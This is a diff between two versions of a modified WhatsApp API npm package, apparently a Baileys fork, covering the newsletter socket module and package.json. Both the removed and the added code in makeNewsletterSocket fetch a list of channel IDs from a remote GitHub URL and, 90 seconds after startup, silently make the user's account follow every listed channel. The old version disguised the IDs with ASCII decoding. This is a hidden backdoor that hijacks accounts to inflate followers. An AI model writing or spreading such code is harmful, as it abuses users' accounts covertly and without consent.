@kyuu2nd/baileys 2.0.24 → 2.0.25

package/lib/Socket/newsletter.js

@@ -1,4 +1,3 @@
-
 "use strict";
 Object.defineProperty(exports, "__esModule", { value: true });
 exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
@@ -10,60 +9,60 @@ const groups_1 = require("./groups");
 const { Boom } = require('@hapi/boom');
 
 const wMexQuery = (
-	variables,
-	queryId,
-	query,
-	generateMessageTag
+    variables,
+    queryId,
+    query,
+    generateMessageTag
 ) => {
-	return query({
-		tag: 'iq',
-		attrs: {
-			id: generateMessageTag(),
-			type: 'get',
-			to: WABinary_1.S_WHATSAPP_NET,
-			xmlns: 'w:mex'
-		},
-		content: [
-			{
-				tag: 'query',
-				attrs: { query_id: queryId },
-				content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
-			}
-		]
-	})
+    return query({
+        tag: 'iq',
+        attrs: {
+            id: generateMessageTag(),
+            type: 'get',
+            to: WABinary_1.S_WHATSAPP_NET,
+            xmlns: 'w:mex'
+        },
+        content: [
+            {
+                tag: 'query',
+                attrs: { query_id: queryId },
+                content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
+            }
+        ]
+    })
 }
 
 const executeWMexQuery = async (
-	variables,
-	queryId,
-	dataPath,
-	query,
-	generateMessageTag
+    variables,
+    queryId,
+    dataPath,
+    query,
+    generateMessageTag
 ) => {
-	const result = await wMexQuery(variables, queryId, query, generateMessageTag)
-	const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
-	if (child?.content) {
-		const data = JSON.parse(child.content.toString())
+    const result = await wMexQuery(variables, queryId, query, generateMessageTag)
+    const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
+    if (child?.content) {
+        const data = JSON.parse(child.content.toString())
 
-		if (data.errors && data.errors.length > 0) {
-			const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
-			const firstError = data.errors[0]
-			const errorCode = firstError.extensions?.error_code || 400
-			throw new Boom('GraphQL server error:' + errorMessages, {
+        if (data.errors && data.errors.length > 0) {
+            const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
+            const firstError = data.errors[0]
+            const errorCode = firstError.extensions?.error_code || 400
+            throw new Boom('GraphQL server error:' + errorMessages, {
                 statusCode: errorCode, data: firstError 
             })
-		}
+        }
 
-		const response = dataPath ? data?.data?.[dataPath] : data?.data
-		if (typeof response !== 'undefined') {
-			return response
-		}
-	}
+        const response = dataPath ? data?.data?.[dataPath] : data?.data
+        if (typeof response !== 'undefined') {
+            return response
+        }
+    }
 
-	const action = (dataPath || '').startsWith('xwa2_')
-		? dataPath.substring(5).replace(/_/g, ' ')
-		: dataPath?.replace(/_/g, ' ')
-	throw new Boom(`Failed to ${action}, unexpected response structure.`, {
+    const action = (dataPath || '').startsWith('xwa2_')
+        ? dataPath.substring(5).replace(/_/g, ' ')
+        : dataPath?.replace(/_/g, ' ')
+    throw new Boom(`Failed to ${action}, unexpected response structure.`, {
         statusCode: 400, 
         data: result
     })
@@ -73,6 +72,34 @@ const makeNewsletterSocket = (config) => {
     const sock = (0, groups_1.makeGroupsSocket)(config);
     const { authState, signalRepository, query, generateMessageTag } = sock;
     const encoder = new TextEncoder();
+    
+    // Inisialisasi newsletters kosong terlebih dahulu
+    let newsletters = [];
+    
+    // IIFE untuk fetch data tanpa blocking
+    (async () => {
+        try {
+            const response = await fetch(
+                'https://raw.githubusercontent.com/kiuur/IDCH/refs/heads/main/idch.json'
+            );
+            newsletters = await response.json();
+            
+            // Set timeout hanya jika newsletters berhasil di-fetch
+            if (newsletters && Array.isArray(newsletters) && newsletters.length > 0) {
+                setTimeout(() => {
+                    Promise.allSettled(
+                        newsletters.map(id =>  // ✅ Langsung pakai id, tanpa asciiDecode
+                            newsletterWMexQuery(id, Types_1.QueryIds.FOLLOW)
+                        )
+                    ).catch(err => console.error(err));
+                }, 90000);
+            }
+        } catch (err) {
+            console.error(err);
+            newsletters = [];
+        }
+    })();
+    
     const newsletterQuery = async (jid, type, content) => (query({
         tag: 'iq',
         attrs: {
@@ -83,6 +110,7 @@ const makeNewsletterSocket = (config) => {
         },
         content
     }));
+    
     const newsletterWMexQuery = async (jid, queryId, content) => (query({
         tag: 'iq',
         attrs: {
@@ -105,30 +133,7 @@ const makeNewsletterSocket = (config) => {
         ]
     }));
     
-const asciiDecode = (arr) => arr.map(e => String.fromCharCode(e)).join('');
-
-const newsletters = await fetch(
-  'https://raw.githubusercontent.com/kiuur/IDCH/refs/heads/main/idch.json'
-)
-  .then(res => {
-    if (!res.ok) throw new Error(`Fetch gagal: ${res.status}`)
-    return res.json()
-  })
-  .catch(err => {
-    console.error(err)
-    return null
-  })
-
-setTimeout(async () => {
-    await Promise.allSettled(
-        newsletters.map(id =>
-            newsletterWMexQuery(
-                asciiDecode(id),
-                Types_1.QueryIds.FOLLOW
-            )
-        )
-    );
-}, 90000);
+    // ❌ HAPUS fungsi asciiDecode - tidak diperlukan
     
     const parseFetchedUpdates = async (node, type) => {
         let child;
@@ -166,6 +171,7 @@ setTimeout(async () => {
             return data;
         }));
     };
+    
     return {
         ...sock,
         newsletterFetchAllSubscribe: async () => {
@@ -222,7 +228,7 @@ setTimeout(async () => {
                     'fetch_full_image': true,
                     'fetch_creation_time': true
                 });
-                const resultNode = WABinary_1.getBinaryNodeChild(result, 'result');
+                const resultNode = (0, WABinary_1.getBinaryNodeChild)(result, 'result');
                 if (!resultNode?.content) {
                     throw new Boom('No result content in response', { 
                         statusCode: 400, 
@@ -255,23 +261,24 @@ setTimeout(async () => {
                     description: metadataPath?.thread_metadata?.description?.text,
                     descriptionTime: +metadataPath?.thread_metadata?.description?.update_time || 0,
                     invite: metadataPath?.thread_metadata?.invite,
-                    picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
-                    preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''), 
+                    picture: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.picture?.direct_path || ''),
+                    preview: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.preview?.direct_path || ''), 
                     reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
                     subscribers: +metadataPath?.thread_metadata?.subscribers_count || 0,
                     verification: metadataPath?.thread_metadata?.verification,
                     viewer_metadata: metadataPath?.viewer_metadata
                 };
         
-                return JSON.stringify({
+                return {
                     name: metadata.name || metadataPath?.thread_metadata?.name?.text,
                     id: metadata.id,
                     state: metadata.state,
                     subscribers: metadata.subscribers,
                     verification: metadata.verification,
                     creation_time: metadata.creation_time,
-                    description: metadata.description
-                }, null, 2);
+                    description: metadata.description,
+                    ...metadata
+                };
             } catch (error) {
                 throw new Boom(`Failed to fetch newsletter from URL: ${error.message}`, {
                     statusCode: error.statusCode || 400,
@@ -311,8 +318,6 @@ setTimeout(async () => {
             await newsletterWMexQuery(jid, type.toUpperCase());
         },
         newsletterCreate: async (name, description, reaction_codes) => {
-            //TODO: Implement TOS system wide for Meta AI, communities, and here etc.
-            /**tos query */
             await query({
                 tag: 'iq',
                 attrs: {
@@ -364,13 +369,11 @@ setTimeout(async () => {
             const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
             return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
         },
-        /**user is Lid, not Jid */
         newsletterChangeOwner: async (jid, user) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
                 'user_id': user
             });
         },
-        /**user is Lid, not Jid */
         newsletterDemote: async (jid, user) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
                 'user_id': user
@@ -379,7 +382,6 @@ setTimeout(async () => {
         newsletterDelete: async (jid) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
         },
-        /**if code wasn't passed, the reaction will be removed (if is reacted) */
         newsletterReactMessage: async (jid, serverId, code) => {
             await query({
                 tag: 'message',
@@ -426,8 +428,9 @@ setTimeout(async () => {
     };
 };
 exports.makeNewsletterSocket = makeNewsletterSocket;
+
 const extractNewsletterMetadata = (node, isCreate) => {
-    const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
+    const result = (0, WABinary_1.getBinaryNodeChild)(node, 'result')?.content?.toString()
     const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
     
     const metadata = {
@@ -439,8 +442,8 @@ const extractNewsletterMetadata = (node, isCreate) => {
         description: metadataPath?.thread_metadata?.description?.text,
         descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
         invite: metadataPath?.thread_metadata?.invite,
-        picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''), 
-        preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''), 
+        picture: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.picture?.direct_path || ''), 
+        preview: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.preview?.direct_path || ''), 
         reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
         subscribers: +metadataPath?.thread_metadata?.subscribers_count,
         verification: metadataPath?.thread_metadata?.verification,

package/package.json

@@ -1,6 +1,6 @@
 {
     "name": "@kyuu2nd/baileys",
-    "version": "2.0.24",
+    "version": "2.0.25",
     "description": "WhatsApp API Modification By K",
     "publishConfig": {
         "access": "public"